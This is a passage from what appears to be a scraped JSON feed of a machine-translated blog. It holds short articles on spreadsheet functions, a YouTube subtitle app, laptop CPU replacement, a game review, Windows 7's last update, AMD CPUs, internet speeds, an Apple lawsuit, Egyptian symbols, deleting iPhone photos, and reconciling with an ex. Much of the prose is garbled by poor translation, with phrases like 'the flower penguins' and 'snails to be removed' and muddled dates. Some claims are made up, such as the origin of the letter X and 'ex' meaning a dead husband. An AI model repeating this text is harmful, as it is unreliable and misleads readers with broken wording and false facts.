1989.\nBirth dates between January 1, 1980 and December 31, 1989 will be listed As stated above, 3 employees born in 1980, 1986 and 1983 meet these requirements.\nYou can also use OR to generate similar results. If using the same data, but converting dates and using OR , for example, all employees born in the 1980s can be excluded.\nThe format for this formula would be:\n=QUERY('Staff List'!A2:E12, \"SELECT A, B, C, D, E WHERE D \u0026gt;= DATE '1989-12-31' or D  The remaining 7 were born before or after the excluded days Of the original 10 employees, 3 were born in the 1980s. The above example shows the remaining 7 people who were born before or after the excluded days.\nUse COUNT with QUERY Instead of simply searching and returning data, you can also mix QUERY with other functions, like COUNT, to manipulate the data. Let's say, for example, we want to remove some employees from the list of people who have participated in the required training course.\nTo do this, you can combine QUERY with COUNT as follows:\n=QUERY('Staff List'!A2:E12, \"SELECT E, COUNT(E) group by E\") Use COUNT with QUERY Looking at column E ( 'Attended Training' ), QUERY function used COUNT to count the number of times each value type (containing the text string Yes or No ). From the example list, 6 employees have completed the training and 4 have not.\nYou can easily change this formula and use it with other types of Google functions, like the SUM function.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmqK6doq56p8HNnKuip55itq95xqimoKSVYsCpscStqg%3D%3D\n","link":"/post/how-to-use-the-query-function-in-google-sheets/","section":"post","tags":null,"title":"How to use the QUERY function in Google Sheets"},{"body":"YouTube is the most popular video streaming social network worldwide, so there are many applications or tools to support YouTube, helping users get more useful features.\nWeTube app on Windows 10 has two features: reading subtitles on videos including Vietnamese subtitles and downloading YouTube videos with subtitles with the option to include voice or audio. The user will select the language in the computer and from there the reading mode of WeTube will read in the language we have chosen. So with the option to read subtitles, users do not always need to look at the video screen to view subtitles. The following article will guide you how to use the WeTube application on Windows 10.\nHow to change the speed of playing YouTube videos Ways to find hot videos on YouTube How to edit videos on YouTube? How to create subtitles for YouTube videos quickly, the easiest Instructions for using WeTube on Windows 10 Step 1:\nUsers install the WeTube app on Windows 10 by following the link below. Click Get to download the application.\nDownload the WeTube Windows 10 app   You wait for the application installation to complete.\n  Step 2:\nLaunch the app and users will see WeTube's interface appear quite similar to that of YouTube. On the left side of the screen are the management sections on YouTube. There is also the option to log in to a personal YouTube account.\n  First of all users need to set the reading language for the application . At the application interface in the right corner of the screen, click the 3-dot icon and select Interpreter - Microsoft David .\n  Step 3:\nDisplay Select an Interpreter Voice interface, click Manager Languages to add languages ​​to the Windows system.\n  Display the language setting interface on the computer, users click Add a language to select additional languages ​​for the system.\n  Display interface select the language you want to add, enter Vietnamese in the search bar and see the results, click Next below to continue.\n  Then click Install to install the language on the computer.\n  Step 4:\nReload the application to apply the changes. Now go back to the application interface and enter the video you want to search in the Search box above. In the video playback interface, click on the gear icon and select Subtitles mode . Users tick to select Vietnamese Vietnamese subtitles for video.\nThen click on the CC icon to display Vietnamese subtitles.\n  Step 5:\nClick the 3-dot icon in the right corner of the screen and then select Interpreter section again. At this time, the interface of the WeTube application has been changed to Vietnamese.\n  Select Microsoft An - Vietnamese (Vietnam) and click OK to change and select the default voice for Vietnamese subtitles.\n  Step 6:\nTo listen and read the subtitles we click on the Translator icon as shown.\n  Step 7:\nAt the top right there are different feature icons from left to right.\nLoop current video: Play the video continuously. Slowmotion and Frames: Play slow video. Download: Download YouTube videos. Video Track: Select a video resolution when downloading. Audio Track: Select the quality of the converted video audio download. Add subtitles to the video: Download videos with subtitles on. Convert subtitles to speech and add it to in the audio track: Download audio files with subtitle audio. Adjust audio track volume lower than speech volume: Adjust the level of subtitle reading with video audio.  Finally click Download to download the video. The video is saved by default in the Download folder on your computer.\n  Thus WeTube application gives you the ability to read subtitles of professional YouTube videos, including Vietnamese with clear voice and very easy to listen. So you can track the video details and do other work.\nWeTube application reads Vietnamese YouTube video subtitles I wish you successful implementation!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq4sdOumZ5lpKR6s7HAnWSyp6WpwqOxjK%2BgnZ2fYsC2rtOiq6Wdow%3D%3D\n","link":"/post/how-to-use-wetube-to-read-youtube-video-subtitles/","section":"post","tags":null,"title":"How to use WeTube to read YouTube video subtitles"},{"body":"The following article introduces you to the NORM.S.DIST function - one of the functions in the statistical function group is very popular in Excel.\n  Description: The normalized distribution function has a mean of 0 and a standard deviation of 1. Use the function instead of a table containing normalized curve areas. Support functions from Excel 2010 onwards.\nSyntax:  NORM.S.DIST (z, cumulative)\nInside:\n- z: The value you want to calculate the distribution, is a required parameter .\n- cumulative: A logical value that determines the form of the function, which is a required parameter, including:\n+ cumulative = True -\u0026gt; returns the cumulative distribution function.\n+ cumulative = False -\u0026gt; returns the probability density function.\nAttention:\n- If z is not a number -\u0026gt; the function returns the #VALUE! Error value\n- The equation for the standardized density function is:\n[fleft (z right) = frac {1} {{sqrt {2pi}}} {e ^ {- frac {{{z ^ 2}}} {2}}}]\nFor example:\nFind the normalized distribution of values ​​in the following data table:\n  - Calculate the value of standardized cumulative distribution function (corresponding to True value ) In a cell to calculate, enter the formula : = NORM.S.DIST (D6, D7)\n- Press Enter -\u0026gt; standard cumulative distribution function value is:\n  - Calculate the value of the standard probability distribution function (corresponding to the value of False). In a cell to calculate, enter the formula : = NORM.S.DIST (D6, D8)\n  - Press Enter -\u0026gt; the standard probability distribution function value is:\n  Above are instructions and some specific examples when using the NORM.S.DIST function in Excel.\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ku7C%2BzKyboqukYrO2usKtoKimXam1pnnFrqWcrJmku26%2BxK2sq6ajYsGpsYynpqulkaG2u7HDZpuiq6SntqPB06Kmp2WnnsGpecBmpJ6ZnmK8p3mPZpinnF2WerTAwKebmqqUYrGmwsiaq6KnnmK8p3mQZqCnZZWtsKa4\n","link":"/post/norm-s-dist-function-the-function-returns-the-normalized-distribution-with-a-mean-of-0-and-a-standard-deviation-of-1-in-excel/","section":"post","tags":null,"title":"NORM.S.DIST function - The function returns the normalized distribution with a mean of 0 and a standard deviation of 1 in Excel"},{"body":"Christopher Null\nNetwork Administration - Do you feel uncomfortable with an old and slow processor in your laptop? Replacing a new CPU for a laptop is now an effective solution to help you speed up your computer. For example, upgrading from a 1.66-GHz Intel Core Duo CPU to a 2-GHz Core 2 Duo T7200 will greatly improve your performance. However, this upgrade is not as simple as upgrading other components of the laptop.\nMake sure you buy a CPU that will work with your laptop. In fact, sometimes some laptops do not have the ability to replace the CPU.\nIf the processor allows an upgrade, you need to find an appropriate replacement component. As a guide we have shown you about replacing graphics cards, the best way to do this is to see which CPUs are sold with your laptop on Google. We bought a 2-GHz Intel T7200 CPU from a retail store.\nCheck the laptop's service manual (this guide can be downloaded from the manufacturer's support page) before opening your computer. In addition, you also need to ensure static electricity when removing the device.\n  Step 1: Upgrade the BIOS\nBefore removing your first screw, you need to consider upgrading the BIOS to the latest version. Manufacturers often upgrade BIOS to allow them to support newer CPUs. If you upgrade to a newer chip than your BIOS allows, your notebook won't boot. So check the support information on the manufacturer's website for any BIOS for your notebook.\nThe CPU upgrade process is almost the same as the graphics card upgrade process. In the case of Inspiron E1505, the CPU is located directly below the graphics card, so to remove it there are some parts like the steps in replacing the graphics card.\n  Step 2: Remove the covers\nLaptops have different designs but the upgrade process usually starts by opening the cover: Turn on the plastic hinge cover, then lift it off the machine. Avoid using excessive force, as pushing too hard can damage plastic parts.\n  Step 3: Remove the keyboard\nRemove the keyboard by twisting a few screws under the protective hinge cover, lift it out, then remove the connectors. On some notebooks, simple pins also allow you to remove the keyboard without screwing any screws.\n(Note: Be sure to keep the screws removed carefully. The best way to be careful is to place them in cups - each cup for each step of disassembly - and label each cup).\n  Step 4: Remove the display\nRemove the display screen - all display parts of the screen - by removing the screws on the bottom and back of the device, unplugging the Wi-Fi antenna cables and video cables (see picture).\nNext, remove the optical drive; This way of removing the drive can be done by pressing a latch below the laptop and pulling the drive out.\n  Step 5: Remove the frame\nRemove the upper frame by removing the screws held below the computer. When you lift the frame off the pedestal, make sure there is no part of it still attached to the lower part of the case or to the motherboard. If you feel a bit forced, it is still easy for some snails to be removed.\n  Step 6: Remove the graphics card\nAt this point you are about to touch the key components of the system, so it is necessary to ensure the electrostatic charge for all these internal components. As in the introduction to replace the graphics card, please remove the two screws to remove this card, the CPU is located directly below the graphics card.\n  Step 7: Remove the heat sink\nOnce you have removed the graphics card from the machine, let's remove the four screws to remove the heat sink to expose the CPU, the CPU is kept in its socket with a latch.\n  Step 8: Replace the CPU\nScrew the socket of the socket to keep the CPU counterclockwise until it stops and lift the CPU off the laptop. Put on that new CPU but not pushed. Only screw the screw clockwise to lock it. Note: some use a latch bar instead of a screw.\n  Step 9: Paste the heat conductor and assemble everything again\nNext you need to prepare paste the heat conductor for the heat sink: Clean all old thermal conductive compounds with alcohol (rubbed on the cloth). When the alcohol is dry, apply the thermal conductor to its original place (about a thin layer of paper) on the CPU.\nPut the heat sink in the correct position. Then there are the other components, which in turn perform the opposite compared to when opening the machine. Finally, launch Windows, then you'll notice changes to the system.\nncG1vNJzZmismaXArq3KnmWcp51kv6a8y5qanmWTpcJuss6rZKWZoKm8sQ%3D%3D\n","link":"/post/replace-cpu-for-laptop/","section":"post","tags":null,"title":"Replace CPU for Laptop"},{"body":" Publisher: Square Enix\nDeveloper: Square Enix\nRelease date: April 10, 2020\nPlatform: PlayStation 4\nThe original Final Fantasy VII is one of the most influential and beloved games of all time, representing the best storytelling, gameplay, and technology this era has to offer. Its huge influence on the role-playing game genre is something that needs to be exaggerated, even difficult for anyone to do in today's context.\u0026nbsp;\nThe struggle between the old and the new is what drives Final Fantasy VII Remake ; The lore of the original will still be incorporated into this remake as the metal plates above the slums of Midgar , but this new version won't be born to be a shadow of the original. With these additions. Clever (and surprising) for a classic world and its characters, Final Fantasy VII Remake is artistically engaging, deftly incorporating a hint of nostalgia without being constrained by it.\nThe story follows Cloud and a small group of mercenaries as they battle against Shinra, a giant organization that has everything from experimental weapons to space travel. If you've played the original, you'll recognize many of the locations, people, and several plot segments. But Square Enix also took the liberty of adding and reinterpreting many elements – but not so much as to make things completely new.\u0026nbsp;\nThis is one of the best things about Final Fantasy Remake, as it allows fans of the series to relive what they've been through while welcoming new features and storylines with iconic characters. and unique scenery.\n  Cloud and his companions are still heroes, but Midgar City is now the real star. This game is entirely focused on the part of Final Fantasy VII's story that takes place in an industrial metropolis controlled by a monopoly company. Midgar's political intrigues, despair, and quiet hopes shine through as you explore the different neighborhoods and wait to see the end of Shinra.\u0026nbsp;\nPeople have to live in squalid tents next to the planet's life-draining giant reactors and ruins that serve as reminders of past tragedies. The maps aren't as free-form or fluid as an open-world RPG, but I still appreciated the opportunity to linger in an area and get to know its citizens through some basic side quests. version related to item recovery and monster slaying.\n  If you're comparing versions against each other, the remake expands dramatically across many areas. Wall Market is now a place of unprecedented chaos instead of a few sketchy tents. These areas are like natural extensions of the world, building up the story and adding context to the characters' interactions. However, some of the new areas feel overly complicated, such as a long and unstable journey in zone 4. But even if the experience isn't optimized every minute, the process My 50 hours of thorough play (plus some post-game content) has given me so many memorable moments.\nThanks to Final Fantasy VII Remake's combat system, I was able to see a fascinating mix of action style and the usual turn-based combat mechanics. You have direct control over your character's basic moves and attacks, and you can also choose specific spells and special moves from the menu bar. This gives the matches a cinematic flair without having to over-assess the evolving situation.\u0026nbsp;\n  Every team member controls different elements, and you can swap between them on the fly; you can weaken enemies from afar with Barret's cannon, but then continue with Tifa's powerful melee attacks when the enemy is wobbly. This approach is an incredibly entertaining way for each character to shine, while the amazing animation design makes the encounters breathtaking.\nI don't mind failing when my strategy goes wrong, but am more than happy to restart battles when I need to optimize my setup to exploit a weakness. But in these rare battles, Final Fantasy VII Remake pays close attention to what makes the battle in the game so interesting.\nWhen battles are at their best, clever support mechanisms encourage you to get out of your comfort zone and explore new strategies. For example, each weapon has a special ability that its user can use in combat, like Blade Burst on Cloud's Mythril Saber. After activating the skill a few times, the character learns to use it without a weapon, which is a fun way to build a strong arsenal of techniques while also experimenting with new gear. The materia system is as great as ever, offering a lot of flexibility to try out different playstyles and get powerful spells. Other side challenges will help you get more involved in the battle, such as stunning a certain number of enemies or defeating a difficult boss in the simulator.The side objectives offer decent rewards, and they're a nice diversion when the main storyline is on hiatus.\n  Although the plot follows the same pattern as the original Midgar, it still has some holes in the content. Each character's moments please me, and I would love to get to know Tifa and the other members of Avalanche better. But when you focus more closely, you'll see that the character Cloud and his friends are often just reacting to what happens to them, such as rescuing a kidnapped friend or escaping after falling into the water. traps, without in-depth action or dialogue. Shinra is definitely the villain, but you can't get a clear understanding of a master plan from both sides, which makes the big picture look fuzzy.\u0026nbsp;\nRegardless of the future, Final Fantasy VII Remake has done a great job of finding an impressive balance between the past and the present. Square Enix allows it to connect with the original without fear of being dependent on that familiarity, but on the contrary creates a special world with an interesting combat system with a modern feel. The new approach is still difficult, but that hasn't stopped Final Fantasy VII Remake from making a name for itself.\nReview Game ncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZp6Zo66tecWapa2Zo656t7XIZqmepZGgsm7Dx56lZqyYmnqwuMNmmaispKGybq%2FOp6uaoZ6oeq%2Bx1mauoqaV\n","link":"/post/review-final-fantasy-vii-remake/","section":"post","tags":null,"title":"Review Final Fantasy VII Remake"},{"body":"So after more than 10 years of development and becoming one of the most successful PC operating system platforms in the history of the computer industry, Windows 7 officially entered the phase of discontinuing support (EoS), synonymous with The user will not receive any additional feature updates and security patches. As such, KB4534310 is the last system update for Windows 7. In other words, Windows 7 Home and Pro users should not expect any important updates or patches from Microsoft to appear after May 14. 1 past.\nTo download and update Windows 7 with this final patch, simply open the Control Panel, navigate to the Windows Update section, then select ' Check for updates ' to check for new available updates in case you The special patches are not listed on the screen. Or you may need to press the Install button to install the update, depending on the Windows Update configuration you are using.\nAlternatively, you can still download the offline installer Windows 7 KB4534310 and perform the manual update as usual.\nDownload the KB4534310 update Direct download link for Windows 7 KB4534310: 32 bit (x86) and 64 bit.\nSome noteworthy points in KB4534310 KB4534310 is the last update of Windows 7, but it is still a regular regular update, so it is mainly accompanied by security fixes, not much changes in nature. power and system.\nAccording to the information in changelog, Microsoft has solved the backlog issues related to some of the core components of Windows 7, including Windows Storage and Filesystems, Windows Input and Creation, Microsoft Scripting Engine and Windows Server. Thereby optimizing the stability of Windows 7 before entering the EoS period.\nRecommended for Windows 7 users After Microsoft, Google, and some security organizations, the British Intelligence Agency is the next unit to recommend that users stop using Windows 7 and switch to a supported operating system. If you still want to continue using Windows 7, minimize your device connection to the internet, browse the web or handle sensitive data like online payments or email.\n  Microsoft is the most active in urging users to upgrade to the new operating system. As you can see in the screenshot above, this is a full-screen message sent by Microsoft to all Windows 7 systems starting from January 14, describing the security risk of using an operating system that didn't. also supported. Such notifications will inevitably appear with increasing frequency over time.\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWknbJuuMCsq2atoJmutbGMqJ1mr5mjsbDD0mZuZq%2BYlsG0edKpnJyhkaE%3D\n","link":"/post/this-is-the-last-update-of-windows-7-what-s-special/","section":"post","tags":null,"title":"This is the last update of Windows 7, what's special?"},{"body":"At AMD's Next Horizon Gaming event on the sidelines of the E3 2019, AMD went on to introduce the Ryzen 3000, the product line it first introduced at Computex 2019 two weeks ago. This time, AMD confidently announced that its new 7nm processors are more powerful, more energy efficient, support better and stronger gaming performance in some tasks thanks to additional cores. compared to Intel chips.\n  Product manager Travis Kirsch of AMD believes that the latest 3rd generation Ryzen CPU line will beat Intel giant for the first time in years. He said: 'After we launched this new product, I don't think there is any reason for people to buy Intel chips anymore.'\nMicroprocessors from Intel and AMD can play games with similar performance but in terms of livestream capabilities when playing games, AMD's processors are superior. It allows livestream users with extremely high image quality to viewers on Twitch or YouTube.\n  The Ryzen 3000 chips based on AMD's 7nm architecture will still support socket AM4 so users can comfortably upgrade the CPU without having to spend money to buy new motherboards.\nWraith Prism LED heat sink fans will be sold with high-end Ryzen 7 and 9 chips from AMD. This radiator fan supports the Razer Chroma light which can synchronize with the gaming mouse and keyboard colors.\n  The Ryzen 9 3900X CPU, the most powerful CPU in this new AMD series, is equipped with 12 cores, 24 threads, but is very affordable at just $ 499, less than half of the 12-core Intel i9-9920X ($ 1,189).\nWith these outstanding advantages, AMD is confident that its latest 3rd generation Ryzen CPU will attract consumers, especially gamers, to beat Intel, when the company has only designed it. 10nm chips.\nncG1vNJzZmismaXArq3KnmWcp51kwam10magrGWnncZuxc6uZLChnKF6pLTOqKqeZZGisbR5y5qrnqukYoCzsIygnKedopbBqrvNZqmyspWjeqS81Gagp6ukmq6lec6fZKKmpJq5bq%2FHoqes\n","link":"/post/this-is-why-you-will-choose-amd-s-latest-3rd-generation-ryzen-cpu-instead-of-intel-chips/","section":"post","tags":null,"title":"This is why you will choose AMD's latest 3rd generation Ryzen CPU instead of Intel chips"},{"body":"You are extremely strict about the speed of Internet connection, you want to live in the country with the fastest Internet speed in the world? What are you waiting for, move to Singapore now!\nYes, our brothers in the community of ASEAN countries not only own fast Internet speeds, but also the fastest in the world! According to a recent report by Compare the Market, a UK-based organization that compares prices based on prices, the island has surpassed Korea to capture the position. No. 1 in the list of countries with the fastest Internet connection in the world. Specifically, the organization conducted Internet speed surveys and analyzes in more than 50 countries, and then ranked these countries based on a number of key factors such as: Cost, download and upload speeds, and the time to download a Netflix content about an hour long.\nHow can IoT help you enjoy 4.0-style meals? Singapore occupies the first place in average download and upload speeds, and of course it is also where you will spend the least time to successfully download a Netflix program with an exact time of 1 hour.\n  Singapore is the only Southeast Asian country to reach the top 5 countries with the fastest Internet connection. Following closely behind are still familiar names like Iceland, Korea, the United States and Sweden.\nThe truth is that this is not a shock, nor is it the first time this small island nation has been honored. Singapore is often hailed as a modern, integrated country, people have a high understanding of the internet, along with a very good Internet connection, constantly being in the top of many different lists and reports.\nHowever, Internet costs also seem to be proportional to the speed in Singapore. The average cost of Internet use in this country falls to around £ 39.84, which is approximately 1.2 million VND, and ranks 25th in the world in the list of countries with the most expensive network costs. The cheapest Internet cost is in Israel with the average amount that people spend monthly to access the network at 10.29 pounds, equivalent to 311 thousand VND.\nThe Internet is experiencing a huge problem with C / C ++, causing developers to \"sweat\" Going back to the report of Compare the Market, Brunei is the second Southeast country mentioned and located at the bottom of the rankings with an average download speed of only 15.15 Mbps, and Internet service packages. In this country is also very expensive, averaging £ 97.40 (nearly 2 million) a month. For a country with a large oil reserve, a high per capita income like Brunei is surprising when the Internet - a basic need - is relatively limited and expensive.\n  ncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFknKelo8GzxYyhmKxlpJ2ybrLArKueq6Ritq%2FAxKulnqxdqL2mscNmoKdlpJ2ybsPOq6Od\n","link":"/post/which-country-has-the-fastest-internet-speed-in-the-world/","section":"post","tags":null,"title":"Which country has the fastest Internet speed in the world?"},{"body":"Apple recently filed a lawsuit against software company Corellium because it created an iOS emulator application on its web browser. The Apple, Corellium has infringed copyright for illegally copying iOS operating systems and applications running on iPhone and iPad, from code, graphical user interface to icons.\nCorellium's application allows users to create and interact with virtual iOS devices to hunt for security vulnerabilities. If a security vulnerability is found, the researcher can see how long the vulnerability has survived by uploading old iOS versions to check.\n  Apple believes that Corellium's real goal is to profit from blatant copyright infringement. Corellium's application was not designed to help fix vulnerabilities because the company did not ask researchers to report their findings to Apple but encouraged them to sell to anyone who paid the highest price. on the market.\nApple said the purpose of the lawsuit is to end the illegal commercialization of Corellium for its valuable copyrighted products rather than concealing \"goodwill\" security studies.\nApple wants a permanent ban so that Corellium cannot continue to provide iOS platform emulator products and must destroy all infringing documents they have collected. In addition, Corellium must pay damages, including lost profits and attorney fees to Apple.\nThe iPhone can be hacked with just one message without requiring user interaction See only the battery status of the iPhone if you replace the original battery ncG1vNJzZmismaXArq3KnmWcp51krrG8y55krK2VmXqiedKona2vkaeybq%2FOpqeapqlis7C%2BjJypnpmknruoecCnZKKno2KyrsHLmquoql2WvbG4yJyYraGfo3qwuoyaZLCdkmKvs7vWrJyr\n","link":"/post/apple-sued-a-software-company-for-creating-an-ios-emulator-application-on-a-web-browser/","section":"post","tags":null,"title":"Apple sued a software company for creating an iOS emulator application on a web browser"},{"body":"Ankh - Symbol of eternal life\nAnkh is an Egyptian hieroglyph that means 'life'. Only the Pharaoh , Empress and the gods are allowed to wear this symbol because it is believed to bring the power of the person who wields it can bestow or take life from others. It is also considered a 'key of life' because its very key-shaped form has created the belief that it can unlock the 'gates of hell'.\n Illustration.\nAnkh also evokes the image of the sunrise on the horizon, symbolizing daily rebirth. Horus 'eye - Symbol of wisdom, protection and health': Horus's eye (or Egyptian eye) - symbol of power of ancient Egypt, known by many people in the world for its Widely used to this day.\nAccording to experts, the Horus eye symbol is shaped like an eagle's eye. Horus is the god representing health, life and rebirth. In Egyptian mythology, Horus was an angel of ancient Egypt who incarnated as a falcon. The eagle's right eye is the eye of Horus, also considered a symbol of the Sun. The left eye represents the moon and the god Tehuti.\nThe ancients believed this immortal symbol would support the rebirth. Maat's feather - The symbol of truth, morality, and balance of justice: The feather is considered a symbol of the Maat goddess. The heart of the dead will be weighed against the feather of the god Matt on the Last Judgment Day.\n Horus eye symbol.\nIf it was the heart of an honest person, it would be equal to the weight of a feather and that person would be allowed to enter the Kingdom of Osiris. If that heart is filled with sin, it will be heavier than the feather and that person will be taken as bait for the Ammut monster. It is the Pharaoh's responsibility to establish and maintain the Maat law as a way to keep the cosmic order in balance.\nWhen a Pharaoh dies, Maat will temporarily disappear and the world will be in chaos again, until there is the rise of a new Pharaoh. Hook and cross - A symbol of royal power and power: Hook and cross were often worn together as a pair, popularly used during the Middle Kingdom, a symbol used as an affirmative scepter. power and power of the king. The couple is derived from the ancient agricultural god of Egypt, Anedjti. He is depicted wearing a crown with two feathers and a typical hook and cross handle.\nLater, Anedjti assimilated into one with Osiris and all features of the deity's identity were transferred to Osiris. The hook is held in the left hand and the cross is in the right. The hook (heq) symbolizes the phonaoh's negative or 'spiritual power', affirming his role as the protector of the people or the 'shepherd' - God responsible for leading and caring for your \"sheep\".\n Ancient Egyptian gods and hooks, crossbones symbolize their mystical power.\nThe crossbow (nekhakha) symbolizes positivity and the aspect of tangible power because Pharaoh is mortal but represents all the gods that govern the three realms: metaphysical, cosmic and earth. It also represented the farmer - the one who created food and looked after all life in the field (the crossbow was used as a farmer's threshing device in ancient Egypt).\nIts message is like a reminder that a truly talented leader must know how to combine discipline with intelligence and understanding, must have kindness to temper justice and make right decisions. best. Their holding postures also have different meanings. In ancient times, the posture of crossing arms in front of the chest signified death and the dead were often buried in this position.\nHowever, the same posture and the cross-hook and cross-hook are meant to mean the revival as in the pictures we often see in Tutankhamun's coffin. When held in front of them, it means that the judgment, or depicted in connection with the god Anubis, the underworld god and the judge in the Maat trial.\nIt is thought that the letter X originates from the image of two crossbones and hooks crossed and that is a symbol of death and rebirth. In the original, the word 'ex' - which symbolizes the letter X - means dead, when people say ex-husband means to refer to the deceased husband.\nScarab - symbol of strength, creativity and transformation\nThe dung beetle represents the sun god Khepri involved in the revival. The beetle usually lays eggs in the faeces of other animals, curls them up like a ball and rolls into the hole, which is the beginning of a young ladybug's life cycle. The Egyptians likened this behavior to the movement of the sun 'ball' rolling in the sky and its daily rebirth.\nAncient Egyptians believed that a scarab that flew in the sky every morning would call the sun to rise. Therefore, the scarab is a symbol of the rising sun, used to protect from the devil, it is also a symbol of rebirth, creation, transformation, bringing strength to its wearer. Large beetles and heart-shaped beetles are considered lucky insects and are placed on mummies to protect them against demons.\n Ancient Egyptians thought the beetle was a symbol of strength, creativity and transformation\nWhen Pharaoh Amenhotep III died, hundreds of scarlet-shaped keepsakes were made to mark the milestones of his life. Lotus - Symbol of the Sun, nobility, creativity and rebirth: Egypt has two native varieties of lotus growing, white and blue lotus, later introduced the pink lotus. from Persia. All three types of lotus are described in Egyptian art but the blue lotus variety is most widely used and popular.\nAccording to Egyptian creative theory, in the early days, there was a giant lotus flower rising in the ocean of chaos. From that lotus, the sun appeared for the first time on Earth. The golden lotus in the blue lotus reminds the Egyptians of the rising sun from the original painted sea as in the legend of the birth of all things.\nAt night, the flower penguins and sink under the water to dawn, it blooms brilliantly again. Blue or white flower varieties are widely used in medicinal preparations. In math, the lotus symbol represents the number 1,000. It is also the symbol of Upper Egypt and represents the resurrection of Isis.\nncG1vNJzZmismaXArq3KnmWcp51ksaavzp2cZqyYmnq0xcybpqVln5t6tbTEZpinm5mau7V5xKCwqayZlru0\n","link":"/post/decode-the-symbol-of-the-ancient-egyptians/","section":"post","tags":null,"title":"Decode the symbol of the ancient Egyptians"},{"body":"The iOS operating system of iPhone is highly appreciated because it has many useful features for users. One of those features is the ability to restore photos after deletion, but that feature is also troublesome for users. So how to delete photos on iPhone permanently, in this article Software Tips will guide you How to delete photos on iPhone permanently.\n  1. Delete photos permanently on iPhone directly On iPhone, after you delete the picture. The system will default to store it for 30 days before automatically deleting it permanently. If you want to accelerate the process of permanently deleting photos, you can manipulate manually.\nStep 1: Open Photos on your iPhone. After that, select the images you want to delete and click on the Trash icon . Finally, select Delete photos to finish.\n  Step 2: After the image is deleted, it will be moved to the Recently Deleted Album . Your job now is to press Back and scroll down to open the Recently Deleted Album .\n  Step 3: Finally, select the image and click Delete to conduct permanent deletion. Please note that once deleted permanently will not be recoverable, select Delete photos to permanently delete from the device.\n  3uTools is a useful tool for those who use iOS operating system, it will help you to intervene a lot on the system.\nDownload: http://www.3u.com/\nAfter downloading the device, you should install to use. To connect your iPhone with 3uTools you use the Charging Cable to plug in the computer.\nStep 1: You select the Device tab (1), then you select Camera Roll (2) to view photos on iPhone. Next, select the images to delete (3) and click Delete (4) .\n  Step 2: 3uTools will confirm your request. You select Delete to start deleting.\n  Note: Permanent deletion cannot be restored\nStep 3: You will receive a notification that the image has been deleted successfully!\n  In this article, Software Tips have shown you how to permanently delete photos on iPhone quickly and effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYypn6isn6h6sLqMoqehp56aerGx0aaYp52eqbm6\n","link":"/post/how-to-delete-photos-on-iphone-permanently/","section":"post","tags":null,"title":"How to delete photos on iPhone permanently"},{"body":" We all make mistakes, and sometimes we let go of the people we love and care about the most. If you have broken up with a great person and regret that decision, there are steps you can take to get back together with him or her. You will...\nPart 1of 5:\nProcessing the Breakup on Your Own  Take your time in order to avoid relationship cycling. Relationship cycling is a toxic pattern of breaking up and making up. While cycling can be intoxicating, it is harmful to the development of long-lasting, stable relationships. Be sure to give yourself some time--a few weeks to a few months--before reconnecting in order to avoid this negative pattern. [1]\n  Grieve the relationship fully before considering a reunion. Even though you were the dumper during the breakup, you will still likely grieve the end of the relationship for several weeks. Be sure that you are not still in the stages of grief for a failed relationship--that might force you to reconnect with an ex too soon or for the wrong reasons. [2] The stages of grief are denial, bargaining, depression, anger, and acceptance. [3] Until you have reached the acceptance phase, any urge you have to rekindle a relationship with an ex should be viewed with suspicion.   Enjoy your life as a single person. Be happy with yourself for a while before reaching out to your ex. Take up a hobby, reconnect with old friends, learn a new skill. Not only will focusing on yourself help you recover from the breakup, but you will be a more interesting and more appealing person when you do reconnect with your ex.\n  Take care of yourself physically. Breakups can cause emotional pain that your body registers as physical pain. Be sure that you are treating yourself well physically as well as emotionally. [4] Exercise regularly, eat well, sleep well, and avoid heavy drinking.\n  Figure out exactly why you dumped your ex. Not all breakups are bad--if a relationship stifled your self-growth, perhaps it is better that you broke up. Consider writing down how you feel in order to process your emotions and get an objective sense of why you broke up with your ex. [5] Make sure that you are not interested in your ex simply out of loneliness. If you do not like or respect your ex, and if you do not think the relationship is fixable, you should not get back together with him or her. [6]\n  Evaluate whether things have changed. If the reason for the initial breakup still exists, you might try to resist the urge to back together with your ex. For example, if you broke up with your ex because the stresses of a long-distance relationship were too great, do not try to reconnect with your ex if you still live far apart. If, however, you think that the two of you have moved well past the reason for the breakup, reconnecting could be a great idea. For example, if you find yourself finally living in the same city as your ex, you might consider getting back in touch. [7]\n  Decide that you want to get back together with your ex. More than 1/3 of couples who live together and 1/4 of married couples have broken up at one point or another.[8] And almost half of young adults reunite with an ex. [9] You are not alone, and there can be very good reasons why you might reasonably reconnect with an ex.\n Part 2of 5:\nBefriending Your Ex  Make initial contact. This can be a nerve-wracking and difficult step, but it is necessary if you want to rekindle a romance. Consider using a form of communication that will allow your ex some time to think before responding to you, such as an email, letter, or text message. This also has the benefit of allowing you to choose your words carefully and to edit your initial message.\n  Keep your contact short and simple, and put the ball in your ex's court. An initial contact is not the time to dump all of your feelings onto your ex. Instead, be honest but judicious in what you tell him or her. You should also make sure that your ex has the opportunity to respond, so that you can begin to see whether your ex might be open to re-establishing contact. Some possible scripts include: \"Hi! I have been thinking about you a lot, and so I wanted to get in touch. How have you been?\" \"Dear [insert ex's name], I know it has been a long time since we talked, but I realize that I miss you a lot. It would be great if we could catch up sometime. Let me know what you think about that!\" \"I just heard a song on the radio that made me think of you. I know that I am probably not your favorite person right now, but I would love it if we could hang out soon. How does that sound?\"   Do not come on too strong. If your ex does not respond to your message, consider that a signal that your ex would prefer that you kept your distance. If your ex requests explicitly that you do not contact him or her, you should honor that request. Let the ball stay in your ex's court, and hopefully your ex will be pleased that you got in touch.\n  Propose a neutral activity. If your ex responds in a positive way to your message, suggest an activity that friends might do together, such as go out for a lunch or a coffee, take a walk in a local park, or attend a book-reading. Keep the conversation friendly and upbeat if you can, and avoid serious topics for now--you have serious issues to work out, but you can work on the serious issues a little later. Taking your time is essential.[10] Show genuine interest in how your ex has been doing. Ask about their job, their family, their hobbies. Be happy for them if they have been accomplishing great things, even if it was without you. Be aware that your ex might have moved on already. Perhaps your ex started dating somebody else or is even in a serious relationship. If your ex seems happy in a new relationship, consider scuttling your plans to rekindle a romantic relationship and instead focus on your friendship.   Follow your ex's lead. It is likely that your ex will have some complicated feelings after being dumped by you. Perhaps your ex feels ambivalent or angry towards you, or perhaps feels lost and 